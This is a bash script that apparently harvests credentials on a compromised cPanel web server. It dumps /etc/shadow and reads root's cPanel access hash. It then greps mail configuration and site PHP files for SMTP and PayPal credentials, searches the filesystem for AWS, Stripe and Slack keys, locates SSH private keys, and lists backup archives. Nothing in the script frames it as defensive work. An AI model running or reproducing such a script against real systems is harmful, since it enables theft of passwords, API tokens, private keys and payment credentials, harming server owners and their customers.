#!/bin/bash
echo "===== 1 /etc/shadow full (69 lines) printed below"
cat /etc/shadow
echo "===== 2 root accesshash / api tokens"
ls -la /root/.accesshash /root/.cpanel 2>/dev/null; head -c 200 /root/.accesshash 2>/dev/null; echo
echo "===== 3 cpanel authn / sqlite subaccounts"
ls -la /home/ara/.subaccounts/; file /home/ara/.subaccounts/storage.sqlite
echo "===== 4 exim smarthost auth"
grep -iE "^\s*(smartuser|smartpass|AUTH|login:|password:|hosts_require_auth|\.forward)" /etc/exim.conf | head -20
grep -riE "smtp_(user|pass|username|password)|SMTP_PASS|SMTP_USER" /home/ara/common /home/ara/public_html --include=*.inc --include=*.php -l 2>/dev/null | head -10
echo "===== 5 cloud/api keys grep (limited)"
grep -rhoE "(AKIA[0-9A-Z]{16}|sk_live_[0-9a-zA-Z]{20,}|xox[baprs]-[0-9a-zA-Z-]{10,})" /home /root /etc 2>/dev/null | sort -u | head -10
echo "===== 6 SSH authorized keys / priv keys"
find /home /root -maxdepth 3 \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' -o -name '*.pem' -o -name '*.ppk' \) 2>/dev/null | head -15
echo "===== 7 PayPal / payment creds"
grep -rhoiE "(paypal[a-z_]*(user|pass|mail|api)[a-z_]*['\"]?\s*[:=]+\s*['\"][^'\"]{3,40}['\"])" /home/ara 2>/dev/null | sort -u | head -10
echo "===== 8 backup archives"
ls -la /home/ara/backup /home/ara/websites.20230212 2>/dev/null | head -20